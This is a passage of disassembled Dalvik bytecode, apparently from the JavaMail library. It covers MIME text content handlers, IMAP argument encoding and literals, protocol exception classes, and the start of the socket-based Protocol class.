.catch IllegalArgumentException {:8 .. :2A} :5E
.catchall {:2E .. :56} :94
.catch IOException {:56 .. :5C} :9E
.catchall {:6E .. :8A} :94
.catch IOException {:96 .. :9C} :A2
.end method
.method protected getDF()ActivationDataFlavor
.registers 2
00000000 sget-object v0, text_plain->myDF:ActivationDataFlavor
00000004 return-object v0
.end method
.method public getTransferData(DataFlavor, DataSource)Object
.registers 4
00000000 invoke-virtual text_plain->getDF()ActivationDataFlavor, p0
00000006 move-result-object v0
00000008 invoke-virtual ActivationDataFlavor->equals(DataFlavor)Z, v0, p1
0000000E move-result v0
00000010 if-eqz v0, :1E
:14
00000014 invoke-virtual text_plain->getContent(DataSource)Object, p0, p2
0000001A move-result-object v0
:1C
0000001C return-object v0
:1E
0000001E const/4 v0, 0x0
00000020 goto :1C
.end method
.method public getTransferDataFlavors()[DataFlavor
.registers 4
00000000 const/4 v0, 0x1
00000002 new-array v0, v0, [DataFlavor
00000006 const/4 v1, 0x0
00000008 invoke-virtual text_plain->getDF()ActivationDataFlavor, p0
0000000E move-result-object v2
00000010 aput-object v2, v0, v1
00000014 return-object v0
.end method
.method public writeTo(Object, String, OutputStream)V
.registers 7
00000000 instance-of v0, p1, String
00000004 if-nez v0, :72
:8
00000008 new-instance v0, IOException
0000000C new-instance v1, StringBuilder
00000010 const-string v2, "\""
00000014 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000001A invoke-virtual text_plain->getDF()ActivationDataFlavor, p0
00000020 move-result-object v2
00000022 invoke-virtual ActivationDataFlavor->getMimeType()String, v2
00000028 move-result-object v2
0000002A invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000030 move-result-object v1
00000032 const-string v2, "\" DataContentHandler requires String object, "
00000036 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000003C move-result-object v1
0000003E const-string v2, "was given object of type "
00000042 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000048 move-result-object v1
0000004A invoke-virtual Object->getClass()Class, p1
00000050 move-result-object v2
00000052 invoke-virtual Class->toString()String, v2
00000058 move-result-object v2
0000005A invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000060 move-result-object v1
00000062 invoke-virtual StringBuilder->toString()String, v1
00000068 move-result-object v1
0000006A invoke-direct IOException-><init>(String)V, v0, v1
00000070 throw v0
:72
00000072 const/4 v0, 0x0
:74
00000074 invoke-direct text_plain->getCharset(String)String, p0, p2
0000007A move-result-object v0
0000007C new-instance v1, OutputStreamWriter
00000080 invoke-direct OutputStreamWriter-><init>(OutputStream, String)V, v1, p3, v0
:86
00000086 check-cast p1, String
0000008A const/4 v0, 0x0
0000008C invoke-virtual String->length()I, p1
00000092 move-result v2
00000094 invoke-virtual OutputStreamWriter->write(String, I, I)V, v1, p1, v0, v2
0000009A invoke-virtual OutputStreamWriter->flush()V, v1
000000A0 return-void
:A2
000000A2 move-exception v1
000000A4 new-instance v1, UnsupportedEncodingException
000000A8 invoke-direct UnsupportedEncodingException-><init>(String)V, v1, v0
000000AE throw v1
.catch IllegalArgumentException {:74 .. :86} :A2
.end method
#--------------------------------------------------------------------------------
.class public text_html
.super text_plain
.source ""
.field private static myDF:ActivationDataFlavor
.method static constructor <clinit>()V
.registers 4
00000000 new-instance v0, ActivationDataFlavor
00000004 const-class v1, String
00000008 const-string v2, "text/html"
0000000C const-string v3, "HTML String"
00000010 invoke-direct ActivationDataFlavor-><init>(Class, String, String)V, v0, v1, v2, v3
00000016 sput-object v0, text_html->myDF:ActivationDataFlavor
0000001A return-void
.end method
.method public constructor <init>()V
.registers 1
00000000 invoke-direct text_plain-><init>()V, p0
00000006 return-void
.end method
.method protected getDF()ActivationDataFlavor
.registers 2
00000000 sget-object v0, text_html->myDF:ActivationDataFlavor
00000004 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public text_xml
.super text_plain
.source ""
.field private static myDF:ActivationDataFlavor
.method static constructor <clinit>()V
.registers 4
00000000 new-instance v0, ActivationDataFlavor
00000004 const-class v1, String
00000008 const-string v2, "text/xml"
0000000C const-string v3, "XML String"
00000010 invoke-direct ActivationDataFlavor-><init>(Class, String, String)V, v0, v1, v2, v3
00000016 sput-object v0, text_xml->myDF:ActivationDataFlavor
0000001A return-void
.end method
.method public constructor <init>()V
.registers 1
00000000 invoke-direct text_plain-><init>()V, p0
00000006 return-void
.end method
.method protected getDF()ActivationDataFlavor
.registers 2
00000000 sget-object v0, text_xml->myDF:ActivationDataFlavor
00000004 return-object v0
.end method
#--------------------------------------------------------------------------------
.class AString
.super Object
.source ""
.field bytes:[B
.method constructor <init>([B)V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, AString->bytes:[B
0000000A return-void
.end method
#--------------------------------------------------------------------------------
.class public Argument
.super Object
.source ""
.field protected items:Vector
.method public constructor <init>()V
.registers 3
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, Vector
0000000A const/4 v1, 0x1
0000000C invoke-direct Vector-><init>(I)V, v0, v1
00000012 iput-object v0, p0, Argument->items:Vector
00000016 return-void
.end method
.method private astring([B, Protocol)V
.registers 15
00000000 const/4 v2, 0x1
00000002 const/16 v11, 0x5C
00000006 const/4 v3, 0x0
00000008 const/16 v10, 0x22
0000000C invoke-virtual Protocol->getOutputStream()OutputStream, p2
00000012 move-result-object v0
00000014 check-cast v0, DataOutputStream
00000018 array-length v6, p1
0000001A const/16 v1, 0x400
0000001E if-le v6, v1, :2A
:22
00000022 invoke-direct Argument->literal([B, Protocol)V, p0, p1, p2
:28
00000028 return-void
:2A
0000002A if-nez v6, :58
:2E
0000002E move v1, v2
:30
00000030 move v5, v3
00000032 move v4, v1
00000034 move v1, v3
:36
00000036 if-lt v5, v6, :5C
:3A
0000003A if-eqz v4, :44
:3E
0000003E invoke-virtual DataOutputStream->write(I)V, v0, v10
:44
00000044 if-eqz v1, :F4
:48
00000048 if-lt v3, v6, :D6
:4C
0000004C if-eqz v4, :28
:50
00000050 invoke-virtual DataOutputStream->write(I)V, v0, v10
00000056 goto :28
:58
00000058 move v1, v3
0000005A goto :30
:5C
0000005C aget-byte v7, p1, v5
00000060 if-eqz v7, :80
:64
00000064 const/16 v8, 0xD
00000068 if-eq v7, v8, :80
:6C
0000006C const/16 v8, 0xA
00000070 if-eq v7, v8, :80
:74
00000074 and-int/lit16 v8, v7, 0xFF
00000078 const/16 v9, 0x7F
0000007C if-le v8, v9, :88
:80
00000080 invoke-direct Argument->literal([B, Protocol)V, p0, p1, p2
00000086 goto :28
:88
00000088 const/16 v8, 0x2A
0000008C if-eq v7, v8, :C4
:90
00000090 const/16 v8, 0x25
00000094 if-eq v7, v8, :C4
:98
00000098 const/16 v8, 0x28
0000009C if-eq v7, v8, :C4
:A0
000000A0 const/16 v8, 0x29
000000A4 if-eq v7, v8, :C4
:A8
000000A8 const/16 v8, 0x7B
000000AC if-eq v7, v8, :C4
:B0
000000B0 if-eq v7, v10, :C4
:B4
000000B4 if-eq v7, v11, :C4
:B8
000000B8 and-int/lit16 v8, v7, 0xFF
000000BC const/16 v9, 0x20
000000C0 if-gt v8, v9, :D0
:C4
000000C4 if-eq v7, v10, :CC
:C8
000000C8 if-ne v7, v11, :FC
:CC
000000CC move v1, v2
000000CE move v4, v2
:D0
000000D0 add-int/lit8 v5, v5, 0x1
000000D4 goto :36
:D6
000000D6 aget-byte v1, p1, v3
000000DA if-eq v1, v10, :E2
:DE
000000DE if-ne v1, v11, :E8
:E2
000000E2 invoke-virtual DataOutputStream->write(I)V, v0, v11
:E8
000000E8 invoke-virtual DataOutputStream->write(I)V, v0, v1
000000EE add-int/lit8 v3, v3, 0x1
000000F2 goto :48
:F4
000000F4 invoke-virtual DataOutputStream->write([B)V, v0, p1
000000FA goto :4C
:FC
000000FC move v4, v2
000000FE goto :D0
.end method
.method private literal(Literal, Protocol)V
.registers 4
00000000 invoke-interface Literal->size()I, p1
00000006 move-result v0
00000008 invoke-direct Argument->startLiteral(Protocol, I)OutputStream, p0, p2, v0
0000000E move-result-object v0
00000010 invoke-interface Literal->writeTo(OutputStream)V, p1, v0
00000016 return-void
.end method
.method private literal(ByteArrayOutputStream, Protocol)V
.registers 4
00000000 invoke-virtual ByteArrayOutputStream->size()I, p1
00000006 move-result v0
00000008 invoke-direct Argument->startLiteral(Protocol, I)OutputStream, p0, p2, v0
0000000E move-result-object v0
00000010 invoke-virtual ByteArrayOutputStream->writeTo(OutputStream)V, p1, v0
00000016 return-void
.end method
.method private literal([B, Protocol)V
.registers 4
00000000 array-length v0, p1
00000002 invoke-direct Argument->startLiteral(Protocol, I)OutputStream, p0, p2, v0
00000008 move-result-object v0
0000000A invoke-virtual OutputStream->write([B)V, v0, p1
00000010 return-void
.end method
.method private startLiteral(Protocol, I)OutputStream
.registers 6
00000000 invoke-virtual Protocol->getOutputStream()OutputStream, p1
00000006 move-result-object v0
00000008 check-cast v0, DataOutputStream
0000000C invoke-virtual Protocol->supportsNonSyncLiterals()Z, p1
00000012 move-result v1
00000014 const/16 v2, 0x7B
00000018 invoke-virtual DataOutputStream->write(I)V, v0, v2
0000001E invoke-static Integer->toString(I)String, p2
00000024 move-result-object v2
00000026 invoke-virtual DataOutputStream->writeBytes(String)V, v0, v2
0000002C if-eqz v1, :5A
:30
00000030 const-string v2, "+}\r\n"
00000034 invoke-virtual DataOutputStream->writeBytes(String)V, v0, v2
:3A
0000003A invoke-virtual DataOutputStream->flush()V, v0
00000040 if-nez v1, :58
:44
00000044 invoke-virtual Protocol->readResponse()Response, p1
0000004A move-result-object v1
0000004C invoke-virtual Response->isContinuation()Z, v1
00000052 move-result v2
00000054 if-eqz v2, :66
:58
00000058 return-object v0
:5A
0000005A const-string v2, "}\r\n"
0000005E invoke-virtual DataOutputStream->writeBytes(String)V, v0, v2
00000064 goto :3A
:66
00000066 invoke-virtual Response->isTagged()Z, v1
0000006C move-result v2
0000006E if-eqz v2, :44
:72
00000072 new-instance v0, LiteralException
00000076 invoke-direct LiteralException-><init>(Response)V, v0, v1
0000007C throw v0
.end method
.method public append(Argument)V
.registers 5
00000000 iget-object v0, p0, Argument->items:Vector
00000004 iget-object v1, p0, Argument->items:Vector
00000008 invoke-virtual Vector->size()I, v1
0000000E move-result v1
00000010 iget-object v2, p1, Argument->items:Vector
00000014 invoke-virtual Vector->size()I, v2
0000001A move-result v2
0000001C add-int/2addr v1, v2
0000001E invoke-virtual Vector->ensureCapacity(I)V, v0, v1
00000024 const/4 v0, 0x0
:26
00000026 iget-object v1, p1, Argument->items:Vector
0000002A invoke-virtual Vector->size()I, v1
00000030 move-result v1
00000032 if-lt v0, v1, :38
:36
00000036 return-void
:38
00000038 iget-object v1, p0, Argument->items:Vector
0000003C iget-object v2, p1, Argument->items:Vector
00000040 invoke-virtual Vector->elementAt(I)Object, v2, v0
00000046 move-result-object v2
00000048 invoke-virtual Vector->addElement(Object)V, v1, v2
0000004E add-int/lit8 v0, v0, 0x1
00000052 goto :26
.end method
.method public write(Protocol)V
.registers 7
00000000 const/4 v1, 0x0
00000002 iget-object v0, p0, Argument->items:Vector
00000006 if-eqz v0, :2C
:A
0000000A iget-object v0, p0, Argument->items:Vector
0000000E invoke-virtual Vector->size()I, v0
00000014 move-result v0
00000016 move v2, v0
:18
00000018 invoke-virtual Protocol->getOutputStream()OutputStream, p1
0000001E move-result-object v0
00000020 check-cast v0, DataOutputStream
00000024 move v3, v1
:26
00000026 if-lt v3, v2, :30
:2A
0000002A return-void
:2C
0000002C move v2, v1
0000002E goto :18
:30
00000030 if-lez v3, :3E
:34
00000034 const/16 v1, 0x20
00000038 invoke-virtual DataOutputStream->write(I)V, v0, v1
:3E
0000003E iget-object v1, p0, Argument->items:Vector
00000042 invoke-virtual Vector->elementAt(I)Object, v1, v3
00000048 move-result-object v1
0000004A instance-of v4, v1, Atom
0000004E if-eqz v4, :68
:52
00000052 check-cast v1, Atom
00000056 iget-object v1, v1, Atom->string:String
0000005A invoke-virtual DataOutputStream->writeBytes(String)V, v0, v1
:60
00000060 add-int/lit8 v1, v3, 0x1
00000064 move v3, v1
00000066 goto :26
:68
00000068 instance-of v4, v1, Number
0000006C if-eqz v4, :84
:70
00000070 check-cast v1, Number
00000074 invoke-virtual Object->toString()String, v1
0000007A move-result-object v1
0000007C invoke-virtual DataOutputStream->writeBytes(String)V, v0, v1
00000082 goto :60
:84
00000084 instance-of v4, v1, AString
00000088 if-eqz v4, :9C
:8C
0000008C check-cast v1, AString
00000090 iget-object v1, v1, AString->bytes:[B
00000094 invoke-direct Argument->astring([B, Protocol)V, p0, v1, p1
0000009A goto :60
:9C
0000009C instance-of v4, v1, [B
000000A0 if-eqz v4, :B0
:A4
000000A4 check-cast v1, [B
000000A8 invoke-direct Argument->literal([B, Protocol)V, p0, v1, p1
000000AE goto :60
:B0
000000B0 instance-of v4, v1, ByteArrayOutputStream
000000B4 if-eqz v4, :C4
:B8
000000B8 check-cast v1, ByteArrayOutputStream
000000BC invoke-direct Argument->literal(ByteArrayOutputStream, Protocol)V, p0, v1, p1
000000C2 goto :60
:C4
000000C4 instance-of v4, v1, Literal
000000C8 if-eqz v4, :D8
:CC
000000CC check-cast v1, Literal
000000D0 invoke-direct Argument->literal(Literal, Protocol)V, p0, v1, p1
000000D6 goto :60
:D8
000000D8 instance-of v4, v1, Argument
000000DC if-eqz v4, :60
:E0
000000E0 const/16 v4, 0x28
000000E4 invoke-virtual DataOutputStream->write(I)V, v0, v4
000000EA check-cast v1, Argument
000000EE invoke-virtual Argument->write(Protocol)V, v1, p1
000000F4 const/16 v1, 0x29
000000F8 invoke-virtual DataOutputStream->write(I)V, v0, v1
000000FE goto :60
.end method
.method public writeArgument(Argument)V
.registers 3
00000000 iget-object v0, p0, Argument->items:Vector
00000004 invoke-virtual Vector->addElement(Object)V, v0, p1
0000000A return-void
.end method
.method public writeAtom(String)V
.registers 4
00000000 iget-object v0, p0, Argument->items:Vector
00000004 new-instance v1, Atom
00000008 invoke-direct Atom-><init>(String)V, v1, p1
0000000E invoke-virtual Vector->addElement(Object)V, v0, v1
00000014 return-void
.end method
.method public writeBytes(Literal)V
.registers 3
00000000 iget-object v0, p0, Argument->items:Vector
00000004 invoke-virtual Vector->addElement(Object)V, v0, p1
0000000A return-void
.end method
.method public writeBytes(ByteArrayOutputStream)V
.registers 3
00000000 iget-object v0, p0, Argument->items:Vector
00000004 invoke-virtual Vector->addElement(Object)V, v0, p1
0000000A return-void
.end method
.method public writeBytes([B)V
.registers 3
00000000 iget-object v0, p0, Argument->items:Vector
00000004 invoke-virtual Vector->addElement(Object)V, v0, p1
0000000A return-void
.end method
.method public writeNumber(I)V
.registers 4
00000000 iget-object v0, p0, Argument->items:Vector
00000004 new-instance v1, Integer
00000008 invoke-direct Integer-><init>(I)V, v1, p1
0000000E invoke-virtual Vector->addElement(Object)V, v0, v1
00000014 return-void
.end method
.method public writeNumber(J)V
.registers 5
00000000 iget-object v0, p0, Argument->items:Vector
00000004 new-instance v1, Long
00000008 invoke-direct Long-><init>(J)V, v1, p1, p2
0000000E invoke-virtual Vector->addElement(Object)V, v0, v1
00000014 return-void
.end method
.method public writeString(String)V
.registers 5
00000000 iget-object v0, p0, Argument->items:Vector
00000004 new-instance v1, AString
00000008 invoke-static ASCIIUtility->getBytes(String)[B, p1
0000000E move-result-object v2
00000010 invoke-direct AString-><init>([B)V, v1, v2
00000016 invoke-virtual Vector->addElement(Object)V, v0, v1
0000001C return-void
.end method
.method public writeString(String, String)V
.registers 6
00000000 if-nez p2, :C
:4
00000004 invoke-virtual Argument->writeString(String)V, p0, p1
:A
0000000A return-void
:C
0000000C iget-object v0, p0, Argument->items:Vector
00000010 new-instance v1, AString
00000014 invoke-virtual String->getBytes(String)[B, p1, p2
0000001A move-result-object v2
0000001C invoke-direct AString-><init>([B)V, v1, v2
00000022 invoke-virtual Vector->addElement(Object)V, v0, v1
00000028 goto :A
.end method
#--------------------------------------------------------------------------------
.class Atom
.super Object
.source ""
.field string:String
.method constructor <init>(String)V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, Atom->string:String
0000000A return-void
.end method
#--------------------------------------------------------------------------------
.class public ProtocolException
.super Exception
.source ""
.field private static final serialVersionUID:J = 0xC37C639E3A098641L
.field protected transient varargs response:Response
.method public constructor <init>()V
.registers 2
00000000 invoke-direct Exception-><init>()V, p0
00000006 const/4 v0, 0x0
00000008 iput-object v0, p0, ProtocolException->response:Response
0000000C return-void
.end method
.method public constructor <init>(Response)V
.registers 3
00000000 invoke-virtual Response->toString()String, p1
00000006 move-result-object v0
00000008 invoke-direct Exception-><init>(String)V, p0, v0
0000000E const/4 v0, 0x0
00000010 iput-object v0, p0, ProtocolException->response:Response
00000014 iput-object p1, p0, ProtocolException->response:Response
00000018 return-void
.end method
.method public constructor <init>(String)V
.registers 3
00000000 invoke-direct Exception-><init>(String)V, p0, p1
00000006 const/4 v0, 0x0
00000008 iput-object v0, p0, ProtocolException->response:Response
0000000C return-void
.end method
.method public getResponse()Response
.registers 2
00000000 iget-object v0, p0, ProtocolException->response:Response
00000004 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public BadCommandException
.super ProtocolException
.source ""
.field private static final serialVersionUID:J = 0x50122C148D564B0BL
.method public constructor <init>()V
.registers 1
00000000 invoke-direct ProtocolException-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(Response)V
.registers 2
00000000 invoke-direct ProtocolException-><init>(Response)V, p0, p1
00000006 return-void
.end method
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct ProtocolException-><init>(String)V, p0, p1
00000006 return-void
.end method
#--------------------------------------------------------------------------------
.class public ByteArray
.super Object
.source ""
.field private bytes:[B
.field private count:I
.field private start:I
.method public constructor <init>(I)V
.registers 4
00000000 new-array v0, p1, [B
00000004 const/4 v1, 0x0
00000006 invoke-direct ByteArray-><init>([B, I, I)V, p0, v0, v1, p1
0000000C return-void
.end method
.method public constructor <init>([B, I, I)V
.registers 4
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, ByteArray->bytes:[B
0000000A iput p2, p0, ByteArray->start:I
0000000E iput p3, p0, ByteArray->count:I
00000012 return-void
.end method
.method public getBytes()[B
.registers 2
00000000 iget-object v0, p0, ByteArray->bytes:[B
00000004 return-object v0
.end method
.method public getCount()I
.registers 2
00000000 iget v0, p0, ByteArray->count:I
00000004 return v0
.end method
.method public getNewBytes()[B
.registers 6
00000000 iget v0, p0, ByteArray->count:I
00000004 new-array v0, v0, [B
00000008 iget-object v1, p0, ByteArray->bytes:[B
0000000C iget v2, p0, ByteArray->start:I
00000010 const/4 v3, 0x0
00000012 iget v4, p0, ByteArray->count:I
00000016 invoke-static System->arraycopy(Object, I, Object, I, I)V, v1, v2, v0, v3, v4
0000001C return-object v0
.end method
.method public getStart()I
.registers 2
00000000 iget v0, p0, ByteArray->start:I
00000004 return v0
.end method
.method public grow(I)V
.registers 6
00000000 const/4 v3, 0x0
00000002 iget-object v0, p0, ByteArray->bytes:[B
00000006 array-length v0, v0
00000008 add-int/2addr v0, p1
0000000A new-array v0, v0, [B
0000000E iget-object v1, p0, ByteArray->bytes:[B
00000012 iget-object v2, p0, ByteArray->bytes:[B
00000016 array-length v2, v2
00000018 invoke-static System->arraycopy(Object, I, Object, I, I)V, v1, v3, v0, v3, v2
0000001E iput-object v0, p0, ByteArray->bytes:[B
00000022 return-void
.end method
.method public setCount(I)V
.registers 2
00000000 iput p1, p0, ByteArray->count:I
00000004 return-void
.end method
.method public toByteArrayInputStream()ByteArrayInputStream
.registers 5
00000000 new-instance v0, ByteArrayInputStream
00000004 iget-object v1, p0, ByteArray->bytes:[B
00000008 iget v2, p0, ByteArray->start:I
0000000C iget v3, p0, ByteArray->count:I
00000010 invoke-direct ByteArrayInputStream-><init>([B, I, I)V, v0, v1, v2, v3
00000016 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public CommandFailedException
.super ProtocolException
.source ""
.field private static final serialVersionUID:J = 0xB049DAEAD3E06EFL
.method public constructor <init>()V
.registers 1
00000000 invoke-direct ProtocolException-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(Response)V
.registers 2
00000000 invoke-direct ProtocolException-><init>(Response)V, p0, p1
00000006 return-void
.end method
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct ProtocolException-><init>(String)V, p0, p1
00000006 return-void
.end method
#--------------------------------------------------------------------------------
.class public ConnectionException
.super ProtocolException
.source ""
.field private static final serialVersionUID:J = 0x4FCB2DB4E6C2E197L
.field private transient varargs p:Protocol
.method public constructor <init>()V
.registers 1
00000000 invoke-direct ProtocolException-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(Protocol, Response)V
.registers 3
00000000 invoke-direct ProtocolException-><init>(Response)V, p0, p2
00000006 iput-object p1, p0, ConnectionException->p:Protocol
0000000A return-void
.end method
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct ProtocolException-><init>(String)V, p0, p1
00000006 return-void
.end method
.method public getProtocol()Protocol
.registers 2
00000000 iget-object v0, p0, ConnectionException->p:Protocol
00000004 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public abstract interface Literal
.super Object
.source ""
.method public abstract size()I
.end method
.method public abstract writeTo(OutputStream)V
.end method
#--------------------------------------------------------------------------------
.class public LiteralException
.super ProtocolException
.source ""
.field private static final serialVersionUID:J = 0x9FFA229B02C4EEC7L
.method public constructor <init>(Response)V
.registers 3
00000000 invoke-virtual Response->toString()String, p1
00000006 move-result-object v0
00000008 invoke-direct ProtocolException-><init>(String)V, p0, v0
0000000E iput-object p1, p0, LiteralException->response:Response
00000012 return-void
.end method
#--------------------------------------------------------------------------------
.class public ParsingException
.super ProtocolException
.source ""
.field private static final serialVersionUID:J = 0x6BA345E6A3110EE7L
.method public constructor <init>()V
.registers 1
00000000 invoke-direct ProtocolException-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(Response)V
.registers 2
00000000 invoke-direct ProtocolException-><init>(Response)V, p0, p1
00000006 return-void
.end method
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct ProtocolException-><init>(String)V, p0, p1
00000006 return-void
.end method
#--------------------------------------------------------------------------------
.class public Protocol
.super Object
.source ""
.field private static final CRLF:[B
.field private connected:Z
.field protected debug:Z
.field private volatile bridge handlers:Vector
.field protected host:String
.field private volatile bridge input:ResponseInputStream
.field protected out:PrintStream
.field private volatile bridge output:DataOutputStream
.field protected prefix:String
.field protected props:Properties
.field protected quote:Z
.field private socket:Socket
.field private tagCounter:I
.field private volatile bridge timestamp:J
.field private traceInput:TraceInputStream
.field private traceOutput:TraceOutputStream
.method static constructor <clinit>()V
.registers 1
00000000 const/4 v0, 0x2
00000002 new-array v0, v0, [B
00000006 fill-array-data v0, :14
0000000C sput-object v0, Protocol->CRLF:[B
00000010 return-void
00000014 .array-data 1 x 0x2
0xD
0xA
.end array-data
.end method
.method public constructor <init>(InputStream, OutputStream, Z)V
.registers 7
00000000 const/4 v1, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 iput-boolean v1, p0, Protocol->connected:Z
0000000C iput v1, p0, Protocol->tagCounter:I
00000010 const/4 v0, 0x0
00000012 iput-object v0, p0, Protocol->handlers:Vector
00000016 const-string v0, "localhost"
0000001A iput-object v0, p0, Protocol->host:String
0000001E iput-boolean p3, p0, Protocol->debug:Z
00000022 iput-boolean v1, p0, Protocol->quote:Z
00000026 sget-object v0, System->out:PrintStream
0000002A iput-object v0, p0, Protocol->out:PrintStream
0000002E new-instance v0, TraceInputStream
00000032 sget-object v1, System->out:PrintStream
00000036 invoke-direct TraceInputStream-><init>(InputStream, OutputStream)V, v0, p1, v1
0000003C iput-object v0, p0, Protocol->traceInput:TraceInputStream
00000040 iget-object v0, p0, Protocol->traceInput:TraceInputStream
00000044 invoke-virtual TraceInputStream->setTrace(Z)V, v0, p3
0000004A iget-object v0, p0, Protocol->traceInput:TraceInputStream
0000004E iget-boolean v1, p0, Protocol->quote:Z
00000052 invoke-virtual TraceInputStream->setQuote(Z)V, v0, v1
00000058 new-instance v0, ResponseInputStream
0000005C iget-object v1, p0, Protocol->traceInput:TraceInputStream
00000060 invoke-direct ResponseInputStream-><init>(InputStream)V, v0, v1
00000066 iput-object v0, p0, Protocol->input:ResponseInputStream
0000006A new-instance v0, TraceOutputStream
0000006E sget-object v1, System->out:PrintStream
00000072 invoke-direct TraceOutputStream-><init>(OutputStream, OutputStream)V, v0, p2, v1
00000078 iput-object v0, p0, Protocol->traceOutput:TraceOutputStream
0000007C iget-object v0, p0, Protocol->traceOutput:TraceOutputStream
00000080 invoke-virtual TraceOutputStream->setTrace(Z)V, v0, p3
00000086 iget-object v0, p0, Protocol->traceOutput:TraceOutputStream
0000008A iget-boolean v1, p0, Protocol->quote:Z
0000008E invoke-virtual TraceOutputStream->setQuote(Z)V, v0, v1
00000094 new-instance v0, DataOutputStream
00000098 new-instance v1, BufferedOutputStream
0000009C iget-object v2, p0, Protocol->traceOutput:TraceOutputStream
000000A0 invoke-direct BufferedOutputStream-><init>(OutputStream)V, v1, v2
000000A6 invoke-direct DataOutputStream-><init>(OutputStream)V, v0, v1
000000AC iput-object v0, p0, Protocol->output:DataOutputStream
000000B0 invoke-static System->currentTimeMillis()J
000000B6 move-result-wide v0
000000B8 iput-wide v0, p0, Protocol->timestamp:J
000000BC return-void
.end method
.method public constructor <init>(String, I, Z, PrintStream, Properties, String, Z)V
.registers 12
00000000 const/4 v0, 0x1
00000002 const/4 v1, 0x0
00000004 invoke-direct Object-><init>()V, p0
0000000A iput-boolean v1, p0, Protocol->connected:Z
0000000E iput v1, p0, Protocol->tagCounter:I
00000012 const/4 v2, 0x0
00000014 iput-object v2, p0, Protocol->handlers:Vector
:18
00000018 iput-object p1, p0, Protocol->host:String
0000001C iput-boolean p3, p0, Protocol->debug:Z
00000020 iput-object p4, p0, Protocol->out:PrintStream
00000024 iput-object p5, p0, Protocol->props:Properties
00000028 iput-object p6, p0, Protocol->prefix:String
0000002C invoke-static SocketFetcher->getSocket(String, I, Properties, String, Z)Socket, p1, p2, p5, p6, p7
00000032 move-result-object v2
00000034 iput-object v2, p0, Protocol->socket:Socket
00000038 const-string v2, "mail.debug.quote"
0000003C invoke-virtual Properties->getProperty(String)String, p5, v2
00000042 move-result-object v2
00000044 if-eqz v2, :92
:48
00000048 const-string v3, "true"
0000004C invoke-virtual String->equalsIgnoreCase(String)Z, v2, v3
00000052 move-result v2
00000054 if-eqz v2, :92
:58
00000058 iput-boolean v0, p0, Protocol->quote:Z
0000005C invoke-direct Protocol->initStreams(PrintStream)V, p0, p4
00000062 invoke-virtual Protocol->readResponse()Response, p0
00000068 move-result-object v0
0000006A invoke-virtual Protocol->processGreeting(Response)V, p0, v0
00000070 invoke-static System->currentTimeMillis()J
00000076 move-result-wide v0
00000078 iput-wide v0, p0, Protocol->timestamp:J
0000007C const/4 v0, 0x1
0000007E iput-boolean v0, p0, Protocol->connected:Z
:82
00000082 iget-boolean v0, p0, Protocol->connected:Z
00000086 if-nez v0, :90
:8A
0000008A invoke-virtual Protocol->disconnect()V, p0
:90
00000090 return-void
:92
00000092 move v0, v1
00000094 goto :58
:96
00000096 move-exception v0
00000098 iget-boolean v1, p0, Protocol->connected:Z
0000009C if-nez v1, :A6
:A0
000000A0 invoke-virtual Protocol->disconnect()V, p0
:A6
000000A6 throw v0
.catchall {:18 .. :82} :96
.end method
.method private initStreams(PrintStream)V
.registers 5
00000000 new-instance v0, TraceInputStream
00000004 iget-object v1, p0, Protocol->socket:Socket
00000008 invoke-virtual Socket->getInputStream()InputStream, v1
0000000E move-result-object v1
00000010 invoke-direct TraceInputStream-><init>(InputStream, OutputStream)V, v0, v1, p1
00000016 iput-object v0, p0, Protocol->traceInput:TraceInputStream
0000001A iget-object v0, p0, Protocol->traceInput:TraceInputStream
0000001E iget-boolean v1, p0, Protocol->debug:Z
00000022 invoke-virtual TraceInputStream->setTrace(Z)V, v0, v1
00000028 iget-object v0, p0, Protocol->traceInput:TraceInputStream
0000002C iget-boolean v1, p0, Protocol->quote:Z
00000030 invoke-virtual TraceInputStream->setQuote(Z)V, v0, v1
00000036 new-instance v0, ResponseInputStream
0000003A iget-object v1, p0, Protocol->traceInput:TraceInputStream
0000003E invoke-direct ResponseInputStream-><init>(InputStream)V, v0, v1
00000044 iput-object v0, p0, Protocol->input:ResponseInputStream
00000048 new-instance v0, TraceOutputStream
0000004C iget-object v1, p0, Protocol->socket:Socket
00000050 invoke-virtual Socket->getOutputStream()OutputStream, v1
00000056 move-result-object v1
00000058 invoke-direct TraceOutputStream-><init>(OutputStream, OutputStream)V, v0, v1, p1
0000005E iput-object v0, p0, Protocol->traceOutput:TraceOutputStream
00000062 iget-object v0, p0, Protocol->traceOutput:TraceOutputStream
00000066 iget-boolean v1, p0, Protocol->debug:Z
0000006A invoke-virtual TraceOutputStream->setTrace(Z)V, v0, v1
00000070 iget-object v0, p0, Protocol->traceOutput:TraceOutputStream
00000074 iget-boolean v1, p0, Protocol->quote:Z
00000078 invoke-virtual TraceOutputStream->setQuote(Z)V, v0, v1
0000007E new-instance v0, DataOutputStream
00000082 new-instance v1, BufferedOutputStream
00000086 iget-object v2, p0, Protocol->traceOutput:TraceOutputStream
0000008A invoke-direct BufferedOutputStream-><init>(OutputStream)V, v1, v2
00000090 invoke-direct DataOutputStream-><init>(OutputStream)V, v0, v1
00000096 iput-object v0, p0, Protocol->output:DataOutputStream
0000009A return-void
.end method
.method public declared-synchronized addResponseHandler(ResponseHandler)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Protocol->handlers:Vector
00000006 if-nez v0, :18
:A
0000000A new-instance v0, Vector
